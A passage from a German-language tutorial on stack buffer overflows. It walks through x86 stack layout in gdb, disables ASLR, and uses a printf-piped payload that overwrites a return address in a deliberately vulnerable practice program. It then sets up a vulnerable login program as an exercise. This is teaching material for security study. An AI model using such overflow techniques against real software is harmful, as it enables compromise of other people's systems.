Wir erkennen hier auf der linken Seite die Adresse der Befehle, anschließend den hex-Code für den Befehl und rechts die Befehle in Assembler. So bedeutet zum Beispiel 0x55, dass der Computer EBP auf dem Stack sichern soll. Beim nächsten Befehl sehen wir, dass sich die Adresse um 1 erhöht hat, da der vorige Befehl nur 1 Byte belegt hat. Hier wird der Befehl „mov“ über 0x89 ausgeführt und e5 steht dafür, dass ESP in EBP geschrieben werden soll.

Sehen wir uns zur Verdeutlichung den nächsten „mov“ Befehl auch noch an, welcher 3 Zeilen darunter stattfindet:

804842d:

89 04 24

mov

%eax,(%esp)

0x89 steht wieder für „mov“. 04 steht für das Register EAX und 24 für ESP. Wie der Computer intern diese Dinge auflöst, werden wir hier nicht behandeln. Wir schauen uns nur noch eine weitere Zeile an:

8048448:

c7 04 24 2d 85 04 08

movl

$0x804852d,(%esp)

Wir erkennen, dass die Adresse byteweise umgekehrt abgespeichert wurde ($0x804852d wurde zu 2d 85 04 08). Diese Speicherorganisation wird als Little-Endian bezeichnet.

4.2) Zeichenketten manipulieren

Hier zunächst der Quellcode von Zeichenketten.c:

#include <stdio.h> #include <stdlib.h>

main(void)

{

char buffer1[10] = "123456789"; char buffer2[8] = "abcdefg"; printf("--------------------\n\n");

printf("Buffer1: %s \n",buffer1); printf("Buffer2: %s \n",buffer2); printf("--------------------\n\n");

printf("Buffer1 mit Index 0: %c \n",buffer1[0]); printf("Buffer1 mit Index 8: %c \n",buffer1[8]); printf("Buffer1 mit Index 9: %c \n",buffer1[9]); printf("--------------------\n\n");

printf("Anfangsadresse von Buffer1: %p \n", buffer1); printf("Anfangsadresse von Buffer2: %p \n", buffer2);

printf("Endadresse von Buffer1:

%p \n", &buffer1[9]);

printf("Endadresse von Buffer2:

%p \n", &buffer2[7]);

printf("--------------------\n\n");

printf("Buffer2 mit Index 0: %c \n",buffer2[0]); printf("Buffer2 mit Index 6: %c \n",buffer2[6]); printf("Buffer2 mit Index 8: %c \n",buffer2[8]); printf("Buffer2 mit Index 9: %c \n",buffer2[9]); printf("Buffer2 mit Index 10: %c \n",buffer2[10]); printf("Buffer2 mit Index 11: %c \n",buffer2[11]); printf("--------------------\n\n");

buffer2[7] = 'X'; printf("Buffer2 mit Index 7 auf 'X' ändern.\n"); printf("Buffer1: %s \n",buffer1); printf("Buffer2: %s \n",buffer2); printf("--------------------\n\n");

printf("Buffer1 normal:

%s \n",buffer1);

printf("Adresse von Buffer1:

%p \n", buffer1);

printf("Adresse von Buffer2[8]: %p \n", &buffer2[8]); buffer2[8] = 'X';

printf("Buffer1 Manipuliert:

%s \n",buffer1);

printf("--------------------\n\n");

return 0;

}

Wir geben in den Terminal folgendes ein:

gcc –ggdb –mpreferred-stack-boundary=2 –fno-stack-protector –o

gcc –ggdb –mpreferred-stack-boundary=2 –fno-stack-protector –o

Zeichenketten Zeichenketten.c

gcc –ggdb –mpreferred-stack-boundary=2 –fno-stack-protector –o Zeichenketten Zeichenketten.c

Dadurch wird unser Quellcode kompiliert. Was die Parameter beim kompilieren genau bedeuten, habe ich schon weiter oben im Tutorial erklärt. Also nächstes führen wir unser Programm aus:

./Zeichenketten

Als Ausgabe sollten wir das hier sehen:

Ausgabe vom Programm „Zeichenketten

--------------------

Buffer1: 123456789 Buffer2: abcdefg

--------------------

Buffer1 mit Index 0: 1 Buffer1 mit Index 8: 9 Buffer1 mit Index 9:

--------------------

Anfangsadresse von Buffer1: 0xbf901dde Anfangsadresse von Buffer2: 0xbf901dd6

Endadresse von Buffer1:

0xbf901de7

Endadresse von Buffer2:

0xbf901ddd

--------------------

Buffer2 mit Index 0:

a

Buffer2 mit Index 6:

g

Buffer2 mit Index 8:

1

Buffer2 mit Index 9:

2

Buffer2 mit Index 10: 3 Buffer2 mit Index 11: 4

--------------------

Buffer2 mit Index 7 auf 'X' ändern. Buffer1: 123456789 Buffer2: abcdefgX123456789

--------------------

Buffer1 normal:

123456789

Adresse von Buffer1:

0xbf82a50e

Adresse von Buffer2[8]: 0xbf82a50e

Buffer1 Manipuliert:

X23456789

--------------------

Analyse des Programms:

Zuerst werden zwei Puffer für Zeichenketten erstellt:

char buffer1[10] = "123456789";

char buffer1[10] = "123456789";

char buffer2[8] = "abcdefg";

char buffer1[10] = "123456789"; char buffer2[8] = "abcdefg";

buffer1“ wird mit dem Index 10 erstellt, was bedeutet, dass für 10 Zeichen Speicher reserviert werden soll. D.h. über die Indexe von 0 bis 9 kann darauf zugegriffen werden! Allerdings wie schon weiter oben erwähnt, gibt es etwas namens „Nullbyte Terminierung“. Also kann das letzte Zeichen nicht eingesetzt werden, weshalb nur noch 9 Zeichen abgespeichert werden können. Am Ende befindet sich nämlich ein „%00“-Zeichen, wodurch der Computer weiß, dass die Zeichenkette zu Ende ist. Werden zum Beispiel in diesem 10 Byte großen Puffer nur 3 Zeichen geschrieben, so weiß der Computer anhand des 4ten (ansprechbar über den Index 3, da mit 0 zu zählen begonnen wird.) Zeichens (= „%00“), dass er nur diese ersten 3 Zeichen kopieren / darstellen / usw. muss. Der zweite Puffer „buffer2“ erhält eine Größe von 8, wodurch 7 Zeichen genutzt werden können, also die Buchstaben a-g.

Als nächstes werden die Zeichenketten angezeigt:

printf("Buffer1: %s \n",buffer1); printf("Buffer2: %s \n",buffer2);

Die Ausgabe sieht so aus:

Buffer1: 123456789

Buffer1: 123456789

Buffer2: abcdefg

Buffer1: 123456789 Buffer2: abcdefg

Soweit sieht noch alles ganz gut aus. Wie erwartet, sehen wir unsere zwei Zeichenketten. Über „%s“ weißen wir den Computer an, das nächste Argument (hier buffer1 bzw. buffer2) anstelle des „%s“ auszugeben. Durch das „s“ sagen wir dem PC, dass es sich um einen String handelt, also erwartet er eine Adresse, welche er auch durch „buffer1“ bzw. „buffer2“ erhält, nämlich die jeweilige Startadresse dieser Puffer. Anschließend ließt der PC solange Daten aus, bis er ein „%00“ Zeichen erhält.

Als nächstes machen wir folgendes:

printf("Buffer1 mit Index 0: %c \n",buffer1[0]); printf("Buffer1 mit Index 8: %c \n",buffer1[8]); printf("Buffer1 mit Index 9: %c \n",buffer1[9]);

Die zugehörige Ausgabe:

Buffer1 mit Index 0: 1 Buffer1 mit Index 8: 9

Buffer1 mit Index 0: 1 Buffer1 mit Index 8: 9

Buffer1 mit Index 9:

Buffer1 mit Index 0: 1 Buffer1 mit Index 8: 9 Buffer1 mit Index 9:

Dieses Verhalten sollte auch noch klar sein: Über die Anweisung „%c“ sagen wir dem Computer, dass er den folgenden Parameter als char-Variable behandeln soll, wodurch nur ein einziges Zeichen ausgegeben wird. Hier werden also über die Indexe die einzelnen Zeichen ausgegeben. Als erstes wird klar, dass mit null zu zählen begonnen wird, weshalb wir bei dem Index „8“ die Ausgabe „9“ erhalten. Bei dem Index „9“ hingegen sehen wir kein Zeichen, was auch so stimmt, da dieser Index ja auf das Zeichen der Nullbyte-Terminierung verweist.

Als nächstes sehen wir uns die Adressen der Variablen an:

printf("Anfangsadresse von Buffer1: %p \n", buffer1); printf("Anfangsadresse von Buffer2: %p \n", buffer2);

Über „%p“ sagen wir dem Computer, dass wir eine Ausgabe eines „pointers“ (also eines Zeigers) erwarten. „buffer1“ und „buffer2“ sind ja im Prinzip Zeiger, Zeiger, welche auf den Anfang einer Zeichenkette verweisen. Die Ausgabe sieht folgendermaßen aus:

Anfangsadresse von Buffer1: 0xbf901dde Anfangsadresse von Buffer2: 0xbf901dd6

Diese Ausgabe kann bei dir etwas anders aussehen, mach dir darüber keine Sorgen. Als erstes sehen wir hier, dass die Adresse von „buffer1“ größer ist als die von „buffer2“, obwohl „buffer1“ zuerst erstellt wurde. Die Erklärung haben wir schon kennen gelernt, nämlich dass der Stack in Richtung der niedrigeren Adressen wächst. Schauen wir uns nun im Vergleich die Endadressen an:

printf("Endadresse von Buffer1:

printf("Endadresse von Buffer2:

%p \n", &buffer1[9]); %p \n", &buffer2[7]);

Die Ausgabe:

Endadresse von Buffer1:

0xbf901de7

Endadresse von Buffer2:

0xbf901ddd

Zuerst betrachten wir das Konstrukt der Ausgabe etwas näher. Über „buffer1[9]“ sprechen wir das letzte Element des Puffers „buffer1“ an. Dieses sollte wie schon öfters erwähnt „%00“ sein. Da wir aber nicht das Zeichen sondern die Adresse benötigen, benutzen wir davor den Address-of-Operator, nämlich „&“. Wenn wir die Anfangs und Endadresse des Puffers überprüfen, so erkennen wir, dass die Puffer auch in umgekehrter Reihenfolge im Stack abgespeichert werden, da nämlich die Endadresse höher ist als die Anfangsadresse. Zur Verdeutlichung hier ein Beispiel, wie der Stack zu diesem Zeitpunkt aussieht:

hohe Adr. buffer1 mit Index: buffer2 mit index: Name: … RET SFP 9 8 7
hohe Adr.
buffer1 mit Index:
buffer2 mit index:
Name:
RET
SFP
9
8
7
6
5
4
3
2
1
0
7
6
5
4
3
2
1
0
Inhalt:
-
-
-
%00
9
8
7
6
5
4
3
2
1
%00
g
f
e
d
c
b
a

Schauen wir uns nun etwas Interessanteres an:

printf("Buffer2 mit Index 0: %c \n",buffer2[0]); printf("Buffer2 mit Index 6: %c \n",buffer2[6]); printf("Buffer2 mit Index 8: %c \n",buffer2[8]); printf("Buffer2 mit Index 9: %c \n",buffer2[9]);

printf("Buffer2 mit Index 10: %c \n",buffer2[10]); printf("Buffer2 mit Index 11: %c \n",buffer2[11]);

Die Ausgabe sieht so aus:

Buffer2 mit Index 0:

a

Buffer2 mit Index 6:

g

Buffer2 mit Index 8:

1

Buffer2 mit Index 9:

2

Buffer2 mit Index 10: 3

Buffer2 mit Index 11: 4

Die ersten zwei Zeilen stimmen mit unseren Erwartungen überein, aber was ist danach? Wir greifen über den Index „8“ auf „buffer2“ zu, allerdings haben wir nur Speicherplatz für 8 Zeichen reserviert. Über Index „8“ greifen wir aber auf ein 9tes Zeichen zu, da wir ja mit null zu zählen beginnen. Für das Ergebnis sollten wir uns noch einmal den Stack ins Gedächnis rufen:

hohe Adr. buffer1 mit Index: buffer2 mit index: Name: … RET SFP 9 8 7
hohe Adr.
buffer1 mit Index:
buffer2 mit index:
Name:
RET
SFP
9
8
7
6
5
4
3
2
1
0
7
6
5
4
3
2
1
0
Inhalt:
-
-
-
%00
9
8
7
6
5
4
3
2
1
%00
g
f
e
d
c
b
a

Über „buffer2“ bekommen wir die Adresse des rechten Endes dieser Grafik des Stacks, also von „a“. Über „buffer2[0]“ das gleiche, da wir diese Anfangsadresse nehmen und 0 Mal die Datentyp-Breite hinzu zählen. Da eine char-Variable 1 Byte groß ist, zählen wir also 1 Byte * 0 hinzu, wodurch wir wieder unsere Anfangsadresse bekommen. Als nächstes „buffer2[6]“. Wir nehmen die Anfangsadresse und gehen 6*1 Byte nach links. Also 6 Kästchen nach links und erhalten dadurch „g“. Über den Index 8 machen wir einfach nur das gleiche. Die Anfangsadresse von buffer2 und dann plus 8*1 Byte, also 8 Kästchen. Und wie wir sehen, erhalten wir so genau „1“. Nach dem selben Prinzip können wir so auf sämtliche Variablen links von der Anfangadresse zugreifen, also auf jene, welche eine höhere Speicheradresse besitzen als buffer2. Und wenn wir uns nun das Abbild des Stacks ansehen, erkennen wir, dass sich links auch noch die Rücksprungadresse RET befindet. Und genau das ist die Grundlage eines Bufferoverflows, mithilfe eines Fehler beim Programmieren nützen wir einen Puffer aus, um die Rücksprungadresse zu manipulieren, um unseren eigenen Code auszuführen. Dazu später aber mehr. Schauen wir uns aber jetzt noch weitere Manipulationen an:

buffer2[7] = 'X';

buffer2[7] = 'X'; printf("Buffer1: %s \n",buffer1); printf("Buffer2: %s \n",buffer2);
printf("Buffer1: %s \n",buffer1); printf("Buffer2: %s \n",buffer2);

printf("Buffer1: %s \n",buffer1); printf("Buffer2: %s \n",buffer2);

Wir überschreiben das Zeichen mit dem Index 7. Schauen wir wieder in unser Abbild des Stacks, so erkennen wir, dass dieses Zeichen unser Nullbyte-Terminierungszeichen ist.

Die Ausgabe:

Buffer1: 123456789

Buffer1: 123456789 Buffer2: abcdefgX123456789
Buffer2: abcdefgX123456789

Buffer2: abcdefgX123456789

Das Ergebnis sollte mittlerer Weile für uns nachvollziehbar sein. Wir haben einfach nur das Ende unserer Zeichenkette überschrieben und dadurch weiß natürlich der Computer auch nicht, dass er am Ende angekommen ist und gibt einfach weiter Daten aus, bis er zur nächsten Nullbyte-Terminierung kommt.

Hier noch eine letzte Manipulation:

printf("Buffer1 normal:

%s \n",buffer1);

 

printf("Adresse von Buffer1:

%p \n", buffer1);

 

printf("Adresse von Buffer2[8]: %p \n", &buffer2[8]);

buffer2[8] = 'X';

 

printf("Buffer1 Manipuliert:

%s \n",buffer1);

 

Die Ausgabe:

Buffer1 normal:

123456789

Adresse von Buffer1:

0xbf82a50e

Adresse von Buffer2[8]: 0xbf82a50e

Buffer1 Manipuliert:

X23456789

Eigentlich bedarf dieser Quellcode keine Erklärung mehr, aber zur Sicherheit: Wir sehen, dass die Anfangsadresse von „buffer1“ gleich der Adresse von „buffer2[8]“ ist, was wir anhand unseres Stack-Abbildes auch beweisen können. Schreiben wir jetzt in „buffer2[8]“ ein „X“, so bekommen wir dieses natürlich auch ausgegeben, wenn wir uns „buffer1“ ansehen. Wer noch nicht verstanden hat, wie das funktioniert, der sollte sich dieses Kapitel noch einmal durchlesen, bevor er weiter macht.

4.3) Ein erster Bufferoverflow

Schauen wir uns nun einen weiteren Quellcode an, bei dem wir unseren ersten Bufferoverflow durchführen werden:

Quellcode der Datei „overflow.c

#include <stdio.h> GetInput() { char buffer[8]; gets(buffer); puts(buffer); } Secret() {
#include <stdio.h>
GetInput()
{
char buffer[8];
gets(buffer);
puts(buffer);
}
Secret()
{
printf("Dieser Text kann niemals angezeigt werden.\n");
}
main()
{
GetInput();
return 0;
}

Wird dieses Programm gestartet, so beginnt die Abarbeitung in der main-Funktion. Diese ruft nur die Funktion „GetInput“ auf und wird danach mit dem Statuscode 0 beendet. In der Funktion „GetInput“ wird ein 8-Zeichen großer Puffer erstellt, anschließend eine Zeichenkette in diesen Puffer eingelesen und danach wieder ausgegeben. Dabei können 7 Zeichen eingegeben werden, welche im Puffer über die Indexe von 0-6 angesprochen werden können. Über den Index 7 würden wir dann unser Nullbyte-Terminierungszeichen „%00“ erhalten. Allerdings überprüft die Funktion „gets“ nicht die Eingabe, sondern schreibt einfach alles was eingegeben wird in den Puffer, egal ob genug Speicherplatz reserviert wurde oder nicht. Und genau dieses Fehlverhalten nutzen wir nun aus. Das Programm enthält auch die Funktion Secret(), welche normalerweise nicht ausgeführt werden kann, da sie nie aufgerufen wird – und genau das wollen wir ändern. Unser Ziel ist also, diese Funktion auszuführen! Als erstes kompilieren wir das Programm:

>gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -

>gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -

o overflow overflow.c

>gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector - o overflow overflow.c

Die Parameter sollten eigentlich schon klar sein, ansonsten kann die gcc Dokumentation über den Befehl „man gcc“ herangezogen werden. Als nächstes öffnen wir direkt das Programm in gdb:

>gdb overflow

Schauen wir uns noch einmal den Quellcode an:

>list 1

Über den Parameter 1 geben wir an, ab welcher Zeile er beginnen soll, uns den Code anzuzeigen, hier also bei der ersten.

1

#include <stdio.h>

2

3

GetInput()

4

{

5

char buffer[8];

6

7

gets(buffer);

8

puts(buffer);

9

}

10

(gdb)

11

Secret()

12

{

13

printf("Dieser Text kann niemals angezeigt werden.\n");

14

}

15

16

main()

17

{

18

GetInput();

19

20

return 0;

(gdb)

21

}

Wir müssen ein paar Mal Enter drücken, damit wir den gesamten Quellcode anzeigt bekommen.

Als nächstes werden wir uns ansehen, wie der Stack nach einer Eingabe über die gets() Funktion aussieht. Dazu müssen wir einen breakpoint danach festlegen, also in Zeile 8.

>break 8

 

Breakpoint 1 at 0x8048405: file overflow.c, line 8.

 

>run

 

Starting program: /home/rifler/Tutorial/Tutorial 3/overflow

Hier erwartet unser Programm eine Eingabe von uns. Oben habe ich schon geschrieben, dass wir eigentlich nur maximal 7 Zeichen eingeben dürfen, deshalb geben wir nun 8 Zeichen ein.

>AAAAAAAA

Wir erreichen nun unseren Breakpoint. Hier können wir uns zuerst den Stack-Frame ansehen:

>info frame Stack level 0, frame at 0xbfd5ba38: eip = 0x8048405 in GetInput (overflow.c:8); saved
>info frame
Stack level 0, frame at 0xbfd5ba38:
eip = 0x8048405 in GetInput (overflow.c:8); saved eip
0x804842e
called by frame at 0xbfd5ba08
source language c.
Arglist at 0xbfd5ba30, args:
Locals at 0xbfd5ba30, Previous frame's sp is 0xbfd5ba38
Saved registers:
ebp at 0xbfd5ba30, eip at 0xbfd5ba34

Vorerst interessiert uns hier nur saved EIP, also 0x804842e. Diese müsste sich im Speicher bei der Adresse 0xbfd5ba34 befinden. Also sehen wir uns nun einmal den Stack an:

>x /10xw $esp

 

0xbfd5ba20: 0xbfd5ba28 0x08048340 0x41414141 0x41414141 0xbfd5ba30: 0xbfd5ba00 0x0804842e 0xbfd5ba98 0xb7de2775

0xbfd5ba40: 0x00000001 0xbfd5bac4

 

Wir sehen saved EIP (=RET) in der 2ten Zeile 2te Spalte. Überprüfen wir das nun mit der Adresse. Ganz links in der 2ten Zeile sehen wir die Adresse 0xbfd5ba30. Das ist die Adresse der Daten, welche in der linken Spalte liegen. Da es sich um eine Ausgabe in word- Format handelt, müssen wir 4 Bytes zu dieser Adresse hinzu zählen, damit wir zu der nächsten Spalte kommen. Dadurch erhalten wir genau 0xbfd5ba34, stimmt also. Alles was davor auf dem Stack liegt (bei der Ausgabe des „x“ Befehles also weiter rechts bzw. weiter unten) interessiert uns nicht, deshalb führen wir den Befehl noch einmal aus, um eine überschaubarere Ausgabe zu erhalten.

>x /6xw $esp

 

0xbfd5ba20: 0xbfd5ba28 0x08048340 0x41414141 0x41414141

0xbfd5ba30: 0xbfd5ba00 0x0804842e

 

Schlüsseln wir nun den Stack auf. Dazu sehen wir uns am Besten noch einmal ein Bild des Stacks an:

sehen wir uns am Besten noch einmal ein Bild des Stacks an: Zuerst werden die Argumente

Zuerst werden die Argumente einer Funktion übergeben, da wir hier keine haben, sehen wir diese auch nicht auf dem Stack. Anschließend folgt RET (Return Adress), hier bei uns 0x0804842e. Anschließend kommt der alte EBP Wert (=SFT), bei uns 0xbfd5ba00. Dies sollte auch stimmen, da der alte EBP ja eigentlich nahe dem aktuellen ESP sein muss, was hier der Fall ist (allerdings sollte er eigentlich größer sein, aber dazu gleich mehr).

Anschließend folgen die lokalen Variablen, wofür wir hier für 4 words Speicherplatz reserviert haben, also insgesamt 16 Bytes. Unser Puffer hat eine Größe von 8 Bytes, die anderen 8 Byte hat gcc zusätzlich für andere Dinge reserviert. In unseren Puffer-Speicherplatz wurden lauter Zeichen mit dem hex-Code 0x41 abgespeichert. Mit ein bisschen Hintergrundwissen wissen wir, dass 0x41 der ASCII Code in hex für das Zeichen „A“ ist. Also haben wir erfolgreich unsere „A“ Zeichen in das Array „buffer“ geschrieben.

Wenn wir uns aber daran erinnern, dass wir nach diesen 8 Zeichen auch ein „%00“ Zeichen benötigen, welches das Ende des Strings angibt, sollte uns auffallen, dass dafür nicht mehr genügend Speicherplatz reserviert ist. Also wird einfach der nächste Speicherplatz genommen – nämlich der Speicherplatz für SFT! Und genau das ist der Grund, warum „00“ bei dem alten EBP Wert am Ende steht. Deshalb ist auch der EBP etwas kleiner als ESP. Du wirst dich jetzt vielleicht fragen, warum „00“ am Ende und nicht am Anfang von SFT steht. Der Grund ist die Little-Endian Speicherorganisation von x86 Prozessoren. Schauen wir uns nun das Programm weiter an. Dazu geben wir „c“ für „continue“ ein.

>c Continuing. AAAAAAAA
>c
Continuing.
AAAAAAAA

Program exited normally.

Das Programm hat unsere Zeichenkette normal ausgegeben und hat sich ohne Fehler beendet. Der veränderte EBP Wert war aus der main-Funktion und da wir dort EBP nicht benötigen, ist kein Fehler aufgetreten. Aber was passiert, wenn wir noch mehr Zeichen eingeben? Probieren wir das gleich einmal aus!

>run

 

Starting program: /home/rifler/Tutorial/Tutorial 3/overflow

AAAAAAAAAAAA

 

Hier haben wir 12-Zeichen eingegeben. D.h. wir haben die 8-Bytes von „buffer“ überschrieben, sowie 4-Bytes von SFT und anschließend schreiben wir noch das „%00“ Zeichen auf den Stack. Also analysieren wir wieder den Stack:

>x /6xw $esp

 

0xbfe49310: 0xbfe49318 0x08048340 0x41414141 0x41414141

0xbfe49320: 0x41414141 0x08048400

 

Als erstes erkennen wir, dass SFT komplett mit 0x41-Zeichen überschrieben wurde! Wir haben aber schon gesehen, dass EBP bei diesem Programm verändert werden kann, ohne das Fehler auftreten. Außerdem erkennen wir auch, dass sich RET verändert hat, nämlich das letzte Byte (also die letzten 2 Ziffern). Hier wurde das Nullbyte-Terminierungs-Zeichen hingeschrieben! Das Programm sollte nun normal weiter abgearbeitet werden, allerdings nur bis die Funktion beendet wird. Dort sollte RET in EIP geschrieben werden und da diese Adresse ja falsch ist, sollte das Programm etwas Unerwartetes machen (z.B.: Abstürzen, …) Also sehen wir uns an, was passiert:

>c

Continuing.

AAAAAAAAAAAA

>

Hier wartet das Programm auf eine weitere Eingabe, wir geben vorerst noch nichts ein und drücken einfach nur Enter und schauen, was weiter passiert:

Breakpoint 1, GetInput () at overflow.c:8

8

puts(buffer);

 

Wir befinden uns noch einmal bei unserem Breakpoint – doch wie ist das passiert? Dazu sehen wir uns zuerst den Assembler-Code von GetInput() an:

>disas GetInput

 

Dump of assembler code for function GetInput:

 

0x080483f4 <GetInput+0>:

push

%ebp

 

0x080483f5 <GetInput+1>:

mov

%esp,%ebp

 

0x080483f7 <GetInput+3>:

sub

$0x10,%esp

 

0x080483fa <GetInput+6>:

lea

-0x8(%ebp),%eax

 

0x080483fd <GetInput+9>:

mov

%eax,(%esp)

 

0x08048400 <GetInput+12>:

call

0x8048308 <gets@plt>

0x08048405 <GetInput+17>:

lea

-0x8(%ebp),%eax

 

0x08048408 <GetInput+20>:

mov

%eax,(%esp)

 

0x0804840b <GetInput+23>:

call

0x8048328 <puts@plt>

0x08048410 <GetInput+28>:

leave

 

0x08048411 <GetInput+29>:

ret

 

End of assembler dump.

 

Wir haben RET verändert, nämlich auf 0x08048400 und dadurch wird zwangsweise auch EIP darauf gesetzt. Also springen wir nach Beendigung der Funktion GetInput() an diese Adresse, welche sich zufälligerweise in der Funktion GetInput() befindet! Um genauer zu sein, springen wir zu Zeile GetInput+12. Von dort wird der Code wieder weiter abgearbeitet, bis zu unserem Breakpoint. Doch geht das einfach so? Schließlich arbeiten wir ja nun in einem ganz anderen Speicherbereich, nämlich dem der main-Funktion, mit falschen EBP Werten, komplett falschen Adressierungen zu den Variablen, zu RET usw. Es ist auch komplett egal was wir bei der zweiten Eingabe schreiben, da die Adresse von unserer Puffervariable nicht mehr auf der richtigen Position am Stack liegt und von daher die Funktion „gets()“ sowieso die Daten nicht abspeichern kann. Also auf gut Deutsch gesagt:

Das Programm macht irgendetwas und hat ein komplett gestörtes Verhalten. Trotzdem lassen wir noch das Programm bis zu Ende durchlaufen, wo dies bestätigt wird.

>c

 

Continuing.

 

Program received signal SIGSEGV, Segmentation fault.

 

0xb7f325eb in strlen () from /lib/tls/i686/cmov/libc.so.6

Das Programm liest aus irgendwelchen Speicherbereichen Daten aus, bekommt dadurch einen komplett falschen EIP und stürzt deshalb ab. Wir könnten die Ursache jetzt genauer untersuchen, aber wir möchten ja nur eine bestimmte Funktion aufrufen, deshalb schweifen wir hier jetzt nicht ab.

Also starten wir das Programm noch einmal und geben 12 Mal „A“ ein und danach „1234“, wodurch wir mit diesen Zahlen EIP überschreiben:

>run

 

The program being debugged has been started already.

 

Start it from the beginning? (y or n) y

 

Starting program: /home/rifler/Tutorial/Tutorial 3/overflow

AAAAAAAAAAAA1234

 

Breakpoint 1, GetInput () at overflow.c:8

 

8

puts(buffer);

 

Sehen wir uns nun den Stack an:

>x /6xw $esp

 

0xbf8fc5d0: 0xbf8fc5d8 0x08048340 0x41414141 0x41414141

0xbf8fc5e0: 0x41414141 0x34333231

 

EBP wurde mit 0x41-Zeichen überschrieben und EIP mit 0x34333231. Wir erinnern uns, 2 Ziffern entsprechen einem Byte, also übersetzen wir dass ganze Byteweise mit einer ASCII- Tabelle (findet ihr über google). 0x34 entspricht „4“, 0x33 entspricht „3“, 0x32 entspricht „2“ und 0x31 entspricht „1“ – also erhalten wir „4321“. Warum das ganze falsch herum im Speicher steht, haben wir auch schon gelernt und schon öfters gehört: Little Endian! Also merken wir uns, dass wir die Adresse, die wir anspringen möchten, in umgekehrter Richtung eingeben müssen. Also wagen wir uns nun an die richtige Aufgabe heran! Dazu schalten wir sicherheitshalber noch kurz ASLR aus:

>quit

 

The program is running.

Exit anyway? (y or n) y

>su

 

Passwort:

 

>echo 0 > /proc/sys/kernel/randomize_va_space

 

>exit

 

exit

 

>cat /proc/sys/kernel/randomize_va_space

 

0

 

Als nächstes öffnen wir das Programm wieder in gdb, um die Anfangsadresse der Secret() Funktion aus zu lesen.

>gdb overflow

Und sehen uns den Assembler Code der Funktion an:

>disas Secret

 

Dump of assembler code for function Secret:

 

0x08048412 <Secret+0>: push

%ebp

 

0x08048413 <Secret+1>: mov 0x08048415 <Secret+3>: sub

 

%esp,%ebp

 

$0x8,%esp

0x08048418 <Secret+6>: movl

$0x8048500,(%esp)

 

0x0804841f <Secret+13>: call

0x8048328 <puts@plt>

0x08048424 <Secret+18>: leave

 

0x08048425 <Secret+19>: ret

 

End of assembler dump.

 

Die Anfangsadresse ist also 0x08048412. Nun haben wir eigentlich alles, was wir benötigen! Wir müssen einfach nur 12 Mal irgendein Zeichen und anschließend 0x08048412 in umgekehrter Richtung übergeben. Da wir gdb nicht mehr benötigen, können wir dieses über „quit“ beenden. Als nächstes müssen wir nur noch unser Programm aufrufen und die angesprochenen Zeichen eingeben, allerdings stellt sich hier noch eine Frage: Wie geben wir die Zeichen in hexadezimal Code ein? Wir benutzen hier als Lösung die printf-Funktion, allerdings gibt es mehrere Varianten, welche wir später noch besprechen werden. Hier eine ganze kurze Erklärung, wie wir die printf-Funktion verwenden (für eine genauere Erklärung kann das Manual herangezogen werden). Geben wir zum Beispiel folgendes in das Terminal ein:

>printf "AAA“

So erhalten wir den Text „AAA“. Des Weiteren können wir auch Zeichen in hex angeben, indem wir „\x##“ schreiben und ## mit dem ASCII Code in hex austauschen. Also erhalten wir über folgenden Befehl die gleiche Ausgabe:

>printf "\x41\x41\x41"

Mit diesem Wissen ausgestattet, können wir nun unsere erste Bufferoverflow Attacke durchführen:

>printf "AAAAAAAAAAAA\x12\x84\x04\x08" | ./overflow

AAAAAAAAAAAA

 

Dieser Text kann niemals angezeigt werden.

 

Segmentation fault

 

Geschafft! Über „|“ sagen wir dem Computer, dass zwei Befehle ausgeführt werden sollen, nämlich dass zuerst unser Programm gestartet werden soll und anschließend diesem die Zeichenkette der printf Funktion übergeben werden soll. In der Zeichenkette sind zuerst 12 „A“-Zeichen, um den Speicherbereich des Puffers sowie von EBP zu überschreiben und anschließend enthält sie die Anfangsadresse von der Funktion Secret() in umgekehrter Richtung, um RET zu überschreiben und somit EIP zu manipulieren. Dadurch wird nach Beendigung der Funktion GetInput() die Funktion Secret() aufgerufen und der Text wird angezeigt. Da allerdings diese Funktion am Ende nicht das Programm ordnungsgemäß beendet (über eine return Anweisung), stürzt es ab. Normalerweise wird bei einem Aufruf einer Funktion (über eine „call“ Anweisung) EIP auf dem Stack gespeichert, da aber unsere Funktion nicht über „call“ gestartet wird, sondern über die „ret“ (return Anweisung; hier wird nur der alte EIP Wert in das EIP Register geschrieben). Erreicht nun diese Unterfunktion ihr Ende, sucht diese über ihre „ret“ Anweisung ihren alten EIP Wert, welcher aber nicht gespeichert wurde – wodurch das Programm gezwungen wird, falsche Daten einzulesen und somit an eine falsche Stelle zu springen. Allerdings können bestimmte Stellen im Speicher nicht ausgeführt werden, wodurch wir ein „Segmentation fault“ erhalten.

Wir haben nun gesehen, wie ein einfacher Bufferoverflow über das Terminal durchgeführt werden kann. In unserem nächsten Beispiel werden wir nichts Neues lernen, sondern uns nur ein weiteres Beispiel ansehen, bei dem du alleine auf die Lösung kommen musst. Im übernächsten Kapitel werden wir uns aber endlich ansehen, wie Code injiziert und auch ausgeführt werden kann.

4.4) Ein eigenständiger Bufferoverflow

Quellcode der Datei „login.c“:

#include <stdio.h> #include <string.h>

int main(int argc, char *argv[])

{

 

char buffer_password_insert[34]; char buffer_password_correct[34] = "Schwerverbrecher"; strcpy(buffer_password_insert, argv[1]);

if(strcmp(buffer_password_insert,buffer_password_correct))

{

printf("Falsches Passwort\n"); printf("Programm wird beendet\n"); printf("---------------------\n\n");

}

else

{

printf("Richtiges Passwort\n"); printf("Programm startet sensible Daten\n"); printf("---------------------\n\n");

}

return 0;

}

Wir kompilieren das ganze:

>gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -

>gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -

o login login.c

>gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector - o login login.c

Das Programm soll einen ganz einfachen login Prozess simulieren. Wenn das richtige Passwort eingegeben wird, so startet das Programm sensible Daten, ansonsten wird es beendet. Das Passwort wird als Übergabeparameter direkt beim Aufruf übergeben, weshalb wir uns auch noch kurz ansehen werden, wie wir so unseren Code übergeben werden. Doch zuerst eine kurze Demonstration des Programms:

>./login 123

 

Falsches Passwort

 

Programm wird beendet

---------------------

>./login Schwerverbrecher

 

Richtiges Passwort

 

Programm startet sensible Daten

---------------------

 

